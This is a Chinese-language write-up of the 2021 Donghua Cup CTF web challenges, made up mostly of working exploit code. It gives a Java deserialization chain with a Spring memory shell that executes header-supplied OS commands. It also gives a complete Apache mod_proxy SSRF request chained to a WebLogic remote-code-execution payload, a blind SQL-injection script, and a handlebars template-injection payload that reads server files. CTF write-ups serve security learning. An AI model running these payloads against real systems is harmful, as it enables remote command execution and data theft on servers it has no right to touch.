东华杯2021-WEB-WriteUp

WEB

上海市py大赛名不虚传,比很多大比赛还难进啊

虽然拿了个二,三血,也进不了啊

EzGadget

非常简单链,拿道题之前我还以为要上自动化工具审呢

直接贴

exp.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
package ezgame.ctf.exp;

import com.ezgame.ctf.tools.ToStringBean;
import ezgame.ctf.bean.User;


import javax.management.BadAttributeValueExpException;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Field;

public class exp {
public static void main(String[] args) throws Exception {
InputStream inputStream = evil.class.getResourceAsStream("evil.class");
byte[] bytes = new byte[inputStream.available()];
inputStream.read(bytes);

ToStringBean sie =new ToStringBean();
Field bytecodes = Reflections.getField(sie.getClass(),"ClassByte");
Reflections.setAccessible(bytecodes);
Reflections.setFieldValue(sie,"ClassByte",bytes);

BadAttributeValueExpException exception = new BadAttributeValueExpException("Siebene");
Reflections.setFieldValue(exception,"val",sie);

//User s= new User(exception);

String a=Serialize.serialize(exception);
System.out.print(a);

//Serialize.deserialize(a);

}
}

evil.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
package ezgame.ctf.exp;

import org.apache.catalina.connector.Response;
import org.apache.catalina.connector.ResponseFacade;
import org.apache.catalina.core.ApplicationFilterChain;

import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.lang.reflect.Modifier;
import java.util.Scanner;

public class evil {
static {
try {
Class c = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.RequestContextHolder");
Method m = c.getMethod("getRequestAttributes");
Object o = m.invoke(null);
c = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.ServletRequestAttributes");
m = c.getMethod("getResponse");
Method m1 = c.getMethod("getRequest");
Object resp = m.invoke(o);
Object req = m1.invoke(o); // HttpServletRequest
Method getWriter = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.ServletResponse").getDeclaredMethod("getWriter");
Method getHeader = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.http.HttpServletRequest").getDeclaredMethod("getHeader", String.class);
getHeader.setAccessible(true);
getWriter.setAccessible(true);
Object writer = getWriter.invoke(resp);
String cmd = (String) getHeader.invoke(req, "cmd");
String[] commands = new String[3];
String charsetName = System.getProperty("os.name").toLowerCase().contains("window") ? "GBK" : "UTF-8";
if (System.getProperty("os.name").toUpperCase().contains("WIN")) {
commands[0] = "cmd";
commands[1] = "/c";
} else {
commands[0] = "/bin/sh";
commands[1] = "-c";
}
commands[2] = cmd;
writer.getClass().getDeclaredMethod("println", String.class).invoke(writer, new Scanner(Runtime.getRuntime().exec(commands).getInputStream(), charsetName).useDelimiter("\\A").next());
writer.getClass().getDeclaredMethod("flush").invoke(writer);
writer.getClass().getDeclaredMethod("close").invoke(writer);
}
catch (Exception e){

}

}
}





直接回显就行了

1
2
3
if (name.equals("gadgets") && year == 2021) {
objectInputStream.readObject();
}

这里写对象的时候先写个string和int就行了哈

apacheprOxy

根据给的composer文件,可知172.24.0.2有个weblogic

https://www.leavesongs.com/PENETRATION/apache-mod-proxy-ssrf-cve-2021-40438.html

照着这篇文章打就行了

简单探测下,cve-2020-14882可以打

1
2
3
4
5
6
7
8
9
10
11
POST /?unix:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA|http://172.24.0.2:7001/console/css/%25%32%65%25%32%65%25%32%66consolejndi.portal HTTP/1.1
Host: 47.104.100.25:7410
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
Content-Length: 1211
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-Type: application/x-www-form-urlencoded
sie: cat /flag
Accept-Encoding: gzip, deflate
Connection: close

handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.ExecuteThread+currentThread+%3d+(weblogic.work.ExecuteThread)Thread.currentThread()%3b+weblogic.work.WorkAdapter+adapter+%3d+currentThread.getCurrentWork()%3b+java.lang.reflect.Field+field+%3d+adapter.getClass().getDeclaredField("connectionHandler")%3bfield.setAccessible(true)%3bObject+obj+%3d+field.get(adapter)%3bweblogic.servlet.internal.ServletRequestImpl+req+%3d+(weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj)%3b+String+cmd+%3d+req.getHeader("sie")%3bString[]+cmds+%3d+System.getProperty("os.name").toLowerCase().contains("window")+%3f+new+String[]{"cmd.exe",+"/c",+cmd}+%3a+new+String[]{"/bin/sh",+"-c",+cmd}%3bif(cmd+!%3d+null+){+String+result+%3d+new+java.util.Scanner(new+java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter("\\A").next()%3b+weblogic.servlet.internal.ServletResponseImpl+res+%3d+(weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getResponse").invoke(req)%3bres.getServletOutputStream().writeStream(new+weblogic.xml.util.StringInputStream(result))%3bres.getServletOutputStream().flush()%3b}+currentThread.interrupt()%3b')

eznode

注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import requests
import urllib3

target = 'http://eci-2zehmd935ngigi214gub.cloudeci1.ichunqiu.com:8888/'
headers = {"Content-Type": "application/x-www-form-urlencoded"}
res=""
proxies = {
"http": "http://127.0.0.1:8080",
}
for i in range(1, 3000):
print(i)
left = 31
right = 127
mid = left + ((right - left)>>1)
while left < right:
payload="username=admin&&password[]=' or (ascii(substr(password,{},1))>{})#".format(i,mid)
# print(payload)
r = requests.post(target, data=payload, allow_redirects=False, headers=headers,proxies=proxies)

if "username or password error" in r.text:
left = mid+1
else:
right=mid
mid = left + ((right-left)>>1)
if mid==31 or mid==127:
break
res += chr(mid)
print(res)
密码 8ffd3f76d2488ba7242c43965b66113f

登录

网上有个cve,可以任意渲染模板,考虑命令执行

hbs版本很低,有现成的可以打

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /admin HTTP/1.1
Host: host
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: token=yourtoken
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Content-Length: 94

{"name":{"settings":{"views":".",
"view options":{"layout":"upload_tmp/xxxx.jpg"}}}}

//这样包含
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
POST /upload HTTP/1.1
Host: host
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: UM_distinctid=17c0418662050e-0f1569b23fb68f-4c3e2778-144000-17c041866218ff; Hm_lvt_2d0601bd28de7d49818249cf35d95943=1635424118; chkphone=acWxNpxhQpDiAchhNuSnEqyiQuDIO0O0O; Hm_lpvt_2d0601bd28de7d49818249cf35d95943=1635661336; ci_session=b64f5a444f6793b7c2fdb4b2b10ba30bec7fb9aa; __jsluid_h=d7c0f497a525f7250d30c229290b9bf4; token=yourtoken
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data;boundary=---------------------------10242300956292313528205888
Content-Length: 817

-----------------------------10242300956292313528205888
Content-Disposition: form-data; name="file"; filename="1"
Content-Type: text/plain

{% raw %}
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return JSON.stringify(global.process.mainModule.constructor._load('fs').readFileSync('/flag').toString());"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
{% endraw %}
-----------------------------10242300956292313528205888--

//上传这种图片,再包含就行了

还有道go后面不会,等大哥们的wp了